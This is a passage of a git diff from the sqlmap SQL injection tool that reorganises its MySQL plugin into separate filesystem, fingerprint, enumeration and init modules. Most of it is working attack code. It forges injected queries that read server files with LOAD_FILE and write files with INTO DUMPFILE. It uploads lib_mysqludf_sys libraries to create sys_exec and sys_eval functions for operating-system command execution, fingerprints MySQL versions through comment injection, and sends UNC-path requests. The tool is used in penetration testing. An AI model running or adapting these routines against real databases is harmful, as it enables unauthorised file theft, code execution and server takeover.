warnMsg = "the back-end DMBS is not MySQL"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
def checkDbmsOs(self, detailed=False):
|
|
||||||
if kb.os:
|
|
||||||
return
|
|
||||||
|
|
||||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
|
|
||||||
|
|
||||||
if datadirSubstr == "/":
|
|
||||||
kb.os = "Linux"
|
|
||||||
else:
|
|
||||||
kb.os = "Windows"
|
|
||||||
|
|
||||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
|
|
||||||
|
|
||||||
return result
|
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
|
|
||||||
self.getRemoteTempPath()
|
|
||||||
|
|
||||||
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
|
|
||||||
|
|
||||||
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
|
|
||||||
debugMsg += "into temporary file '%s'" % tmpFile
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
|
|
||||||
|
|
||||||
debugMsg = "loading the content of hexadecimal encoded file "
|
|
||||||
debugMsg += "'%s' into support table" % rFile
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
|
|
||||||
|
|
||||||
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
|
|
||||||
|
|
||||||
if not length.isdigit() or not len(length) or length in ( "0", "1" ):
|
|
||||||
errMsg = "unable to retrieve the content of the "
|
|
||||||
errMsg += "file '%s'" % rFile
|
|
||||||
raise sqlmapNoneDataException, errMsg
|
|
||||||
|
|
||||||
length = int(length)
|
|
||||||
sustrLen = 1024
|
|
||||||
|
|
||||||
if length > sustrLen:
|
|
||||||
result = []
|
|
||||||
|
|
||||||
for i in range(1, length, sustrLen):
|
|
||||||
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)
|
|
||||||
|
|
||||||
result.append(chunk)
|
|
||||||
else:
|
|
||||||
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
|
|
||||||
|
|
||||||
return result
|
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
||||||
logger.debug("encoding file to its hexadecimal string value")
|
|
||||||
|
|
||||||
fcEncodedList = self.fileEncode(wFile, "hex", True)
|
|
||||||
fcEncodedStr = fcEncodedList[0]
|
|
||||||
fcEncodedStrLen = len(fcEncodedStr)
|
|
||||||
|
|
||||||
if kb.injPlace == "GET" and fcEncodedStrLen > 8000:
|
|
||||||
warnMsg = "the injection is on a GET parameter and the file "
|
|
||||||
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
|
||||||
warnMsg += "bytes, this might cause errors in the file "
|
|
||||||
warnMsg += "writing process"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
unionTest()
|
|
||||||
|
|
||||||
oldParamFalseCond = conf.paramFalseCond
|
|
||||||
conf.paramFalseCond = True
|
|
||||||
|
|
||||||
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
|
|
||||||
unionUse(sqlQuery, direct=True, unescape=False, nullChar="''")
|
|
||||||
|
|
||||||
conf.paramFalseCond = oldParamFalseCond
|
|
||||||
|
|
||||||
if confirm:
|
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
||||||
debugMsg = "creating a support table to write the hexadecimal "
|
|
||||||
debugMsg += "encoded file to"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
|
|
||||||
|
|
||||||
logger.debug("encoding file to its hexadecimal string value")
|
|
||||||
fcEncodedList = self.fileEncode(wFile, "hex", False)
|
|
||||||
|
|
||||||
debugMsg = "forging SQL statements to write the hexadecimal "
|
|
||||||
debugMsg += "encoded file to the support table"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
|
||||||
|
|
||||||
logger.debug("inserting the hexadecimal encoded file to the support table")
|
|
||||||
|
|
||||||
for sqlQuery in sqlQueries:
|
|
||||||
inject.goStacked(sqlQuery)
|
|
||||||
|
|
||||||
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
|
||||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
|
||||||
|
|
||||||
if confirm:
|
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
|
||||||
|
|
||||||
def udfSetRemotePath(self):
|
|
||||||
self.getVersionFromBanner()
|
|
||||||
|
|
||||||
banVer = kb.bannerFp["dbmsVersion"]
|
|
||||||
|
|
||||||
# On Windows
|
|
||||||
if kb.os == "Windows":
|
|
||||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
|
||||||
if banVer >= "5.1.19":
|
|
||||||
if self.__basedir is None:
|
|
||||||
logger.info("retrieving MySQL base directory absolute path")
|
|
||||||
|
|
||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
|
||||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
|
||||||
self.__basedir = normalizePath(ntToPosixSlashes(self.__basedir))
|
|
||||||
|
|
||||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
|
||||||
kb.os = "Windows"
|
|
||||||
|
|
||||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
|
||||||
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
|
||||||
|
|
||||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
|
||||||
|
|
||||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
|
||||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
|
||||||
else:
|
|
||||||
#logger.debug("retrieving MySQL data directory absolute path")
|
|
||||||
|
|
||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
|
||||||
#self.__datadir = inject.getValue("SELECT @@datadir")
|
|
||||||
|
|
||||||
# NOTE: specifying the relative path as './udf.dll'
|
|
||||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
|
||||||
self.__datadir = "."
|
|
||||||
self.__datadir = normalizePath(ntToPosixSlashes(self.__datadir))
|
|
||||||
|
|
||||||
if re.search("[\w]\:\/", self.__datadir, re.I):
|
|
||||||
kb.os = "Windows"
|
|
||||||
|
|
||||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
|
||||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
|
||||||
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
|
||||||
|
|
||||||
# On Linux
|
|
||||||
else:
|
|
||||||
# The SO can be in either /lib, /usr/lib or one of the
|
|
||||||
# paths specified in /etc/ld.so.conf file, none of these
|
|
||||||
# paths are writable by mysql user by default
|
|
||||||
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
|
||||||
|
|
||||||
def udfSetLocalPaths(self):
|
|
||||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
|
||||||
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
|
|
||||||
|
|
||||||
if kb.os == "Windows":
|
|
||||||
self.udfLocalFile += "/mysql/windows/32/lib_mysqludf_sys.dll"
|
|
||||||
self.udfSharedLibExt = "dll"
|
|
||||||
else:
|
|
||||||
self.udfLocalFile += "/mysql/linux/32/lib_mysqludf_sys.so"
|
|
||||||
self.udfSharedLibExt = "so"
|
|
||||||
|
|
||||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
|
||||||
if udf in self.udfToCreate:
|
|
||||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
|
||||||
|
|
||||||
ret = inpRet["return"]
|
|
||||||
|
|
||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
|
||||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
|
||||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
|
||||||
|
|
||||||
self.createdUdf.add(udf)
|
|
||||||
else:
|
|
||||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
|
||||||
if not kb.stackedTest:
|
|
||||||
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
|
||||||
query = agent.postfixQuery(query)
|
|
||||||
payload = agent.payload(newValue=query)
|
|
||||||
|
|
||||||
Request.queryPage(payload)
|
|
||||||
else:
|
|
||||||
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
|
|
56
plugins/dbms/mysql/__init__.py
Normal file
56
plugins/dbms/mysql/__init__.py
Normal file
|
@ -0,0 +1,56 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.settings import MYSQL_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.mysql.enumeration import Enumeration
|
||||||
|
from plugins.dbms.mysql.filesystem import Filesystem
|
||||||
|
from plugins.dbms.mysql.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.mysql.syntax import Syntax
|
||||||
|
from plugins.dbms.mysql.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines MySQL methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||||
|
self.sysUdfs = {
|
||||||
|
# UDF name: UDF return data-type
|
||||||
|
"sys_exec": { "return": "int" },
|
||||||
|
"sys_eval": { "return": "string" },
|
||||||
|
"sys_bineval": { "return": "int" }
|
||||||
|
}
|
||||||
|
|
||||||
|
Syntax.__init__(self)
|
||||||
|
Fingerprint.__init__(self)
|
||||||
|
Enumeration.__init__(self)
|
||||||
|
Filesystem.__init__(self)
|
||||||
|
Miscellaneous.__init__(self)
|
||||||
|
Takeover.__init__(self)
|
||||||
|
|
||||||
|
unescaper.setUnescape(MySQLMap.unescape)
|
29
plugins/dbms/mysql/enumeration.py
Normal file
29
plugins/dbms/mysql/enumeration.py
Normal file
|
@ -0,0 +1,29 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def __init__(self):
|
||||||
|
GenericEnumeration.__init__(self, "MySQL")
|
147
plugins/dbms/mysql/filesystem.py
Normal file
147
plugins/dbms/mysql/filesystem.py
Normal file
|
@ -0,0 +1,147 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
|
from lib.request import inject
|
||||||
|
from lib.techniques.inband.union.test import unionTest
|
||||||
|
from lib.techniques.inband.union.use import unionUse
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFilesystem.__init__(self)
|
||||||
|
|
||||||
|
def unionReadFile(self, rFile):
|
||||||
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def stackedReadFile(self, rFile):
|
||||||
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
|
||||||
|
self.getRemoteTempPath()
|
||||||
|
|
||||||
|
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
|
||||||
|
|
||||||
|
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
|
||||||
|
debugMsg += "into temporary file '%s'" % tmpFile
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
|
||||||
|
|
||||||
|
debugMsg = "loading the content of hexadecimal encoded file "
|
||||||
|
debugMsg += "'%s' into support table" % rFile
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
|
||||||
|
|
||||||
|
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
|
||||||
|
|
||||||
|
if not length.isdigit() or not len(length) or length in ( "0", "1" ):
|
||||||
|
errMsg = "unable to retrieve the content of the "
|
||||||
|
errMsg += "file '%s'" % rFile
|
||||||
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
|
length = int(length)
|
||||||
|
sustrLen = 1024
|
||||||
|
|
||||||
|
if length > sustrLen:
|
||||||
|
result = []
|
||||||
|
|
||||||
|
for i in range(1, length, sustrLen):
|
||||||
|
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)
|
||||||
|
|
||||||
|
result.append(chunk)
|
||||||
|
else:
|
||||||
|
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
|
logger.debug("encoding file to its hexadecimal string value")
|
||||||
|
|
||||||
|
fcEncodedList = self.fileEncode(wFile, "hex", True)
|
||||||
|
fcEncodedStr = fcEncodedList[0]
|
||||||
|
fcEncodedStrLen = len(fcEncodedStr)
|
||||||
|
|
||||||
|
if kb.injPlace == "GET" and fcEncodedStrLen > 8000:
|
||||||
|
warnMsg = "the injection is on a GET parameter and the file "
|
||||||
|
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
||||||
|
warnMsg += "bytes, this might cause errors in the file "
|
||||||
|
warnMsg += "writing process"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
unionTest()
|
||||||
|
|
||||||
|
oldParamFalseCond = kb.unionFalseCond
|
||||||
|
kb.unionFalseCond = True
|
||||||
|
|
||||||
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
|
||||||
|
unionUse(sqlQuery, direct=True, unescape=False, nullChar="''")
|
||||||
|
|
||||||
|
kb.unionFalseCond = oldParamFalseCond
|
||||||
|
|
||||||
|
if confirm:
|
||||||
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
|
debugMsg = "creating a support table to write the hexadecimal "
|
||||||
|
debugMsg += "encoded file to"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
|
||||||
|
|
||||||
|
logger.debug("encoding file to its hexadecimal string value")
|
||||||
|
fcEncodedList = self.fileEncode(wFile, "hex", False)
|
||||||
|
|
||||||
|
debugMsg = "forging SQL statements to write the hexadecimal "
|
||||||
|
debugMsg += "encoded file to the support table"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
||||||
|
|
||||||
|
logger.debug("inserting the hexadecimal encoded file to the support table")
|
||||||
|
|
||||||
|
for sqlQuery in sqlQueries:
|
||||||
|
inject.goStacked(sqlQuery)
|
||||||
|
|
||||||
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
||||||
|
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
||||||
|
|
||||||
|
if confirm:
|
||||||
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
286
plugins/dbms/mysql/fingerprint.py
Normal file
286
plugins/dbms/mysql/fingerprint.py
Normal file
|
@ -0,0 +1,286 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import formatDBMSfp
|
||||||
|
from lib.core.common import formatFingerprint
|
||||||
|
from lib.core.common import getHtmlErrorFp
|
||||||
|
from lib.core.common import randomInt
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self)
|
||||||
|
|
||||||
|
def __commentCheck(self):
|
||||||
|
infoMsg = "executing MySQL comment injection fingerprint"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
query = agent.prefixQuery(" /* NoValue */")
|
||||||
|
query = agent.postfixQuery(query)
|
||||||
|
payload = agent.payload(newValue=query)
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "unable to perform MySQL comment injection"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
# MySQL valid versions updated on 01/2010
|
||||||
|
versions = (
|
||||||
|
(32200, 32234), # MySQL 3.22
|
||||||
|
(32300, 32360), # MySQL 3.23
|
||||||
|
(40000, 40032), # MySQL 4.0
|
||||||
|
(40100, 40123), # MySQL 4.1
|
||||||
|
(50000, 50090), # MySQL 5.0
|
||||||
|
(50100, 50142), # MySQL 5.1
|
||||||
|
(50400, 50405), # MySQL 5.4
|
||||||
|
(50500, 50502), # MySQL 5.5
|
||||||
|
(60000, 60011), # MySQL 6.0
|
||||||
|
)
|
||||||
|
|
||||||
|
for element in versions:
|
||||||
|
prevVer = None
|
||||||
|
|
||||||
|
for version in range(element[0], element[1] + 1):
|
||||||
|
randInt = randomInt()
|
||||||
|
version = str(version)
|
||||||
|
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
|
||||||
|
query = agent.postfixQuery(query)
|
||||||
|
payload = agent.payload(newValue=query)
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if result:
|
||||||
|
if not prevVer:
|
||||||
|
prevVer = version
|
||||||
|
|
||||||
|
if version[0] == "3":
|
||||||
|
midVer = prevVer[1:3]
|
||||||
|
else:
|
||||||
|
midVer = prevVer[2]
|
||||||
|
|
||||||
|
trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
|
||||||
|
|
||||||
|
return trueVer
|
||||||
|
|
||||||
|
prevVer = version
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
actVer = formatDBMSfp()
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += actVer
|
||||||
|
return value
|
||||||
|
|
||||||
|
comVer = self.__commentCheck()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if comVer:
|
||||||
|
comVer = formatDBMSfp([comVer])
|
||||||
|
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||||
|
|
||||||
|
if re.search("-log$", kb.data.banner):
|
||||||
|
banVer += ", logging enabled"
|
||||||
|
|
||||||
|
banVer = formatDBMSfp([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = getHtmlErrorFp()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
"""
|
||||||
|
References for fingerprint:
|
||||||
|
|
||||||
|
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
|
||||||
|
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
|
||||||
|
* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
|
||||||
|
* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
|
||||||
|
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
|
||||||
|
"""
|
||||||
|
|
||||||
|
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||||
|
setDbms("MySQL %s" % kb.dbmsVersion[0])
|
||||||
|
|
||||||
|
if int(kb.dbmsVersion[0]) >= 5:
|
||||||
|
kb.data.has_information_schema = True
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing MySQL"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
randInt = str(randomInt(1))
|
||||||
|
|
||||||
|
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming MySQL"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DMBS is not MySQL"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Determine if it is MySQL >= 5.0.0
|
||||||
|
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt:
|
||||||
|
